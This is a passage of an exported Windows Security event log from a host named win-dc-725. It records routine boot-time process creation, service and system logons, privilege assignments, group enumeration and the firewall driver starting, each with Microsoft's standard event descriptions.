-Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245761 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x304 - New Process Name: C:\Windows\System32\winlogon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245760 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2cc - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x2bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245759 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2c4 - New Process Name: C:\Windows\System32\wininit.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2bc - New Process Name: C:\Windows\System32\smss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1bc - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=245757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: - - Account Domain: - - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x27c - New Process Name: C:\Windows\System32\csrss.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x274 - Creator Process Name: C:\Windows\System32\smss.exe - Process Command Line: - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245793 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x13973 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245792 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245791 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245790 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245789 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245788 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245787 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245786 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245785 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245784 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245783 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245782 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245781 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245780 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245779 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245778 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245777 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245776 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x34c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245775 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA1D2 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245774 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA1BD - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:39:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=245773 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xA1D2 - Linked Logon ID: 0xA1BD - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x304 - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a 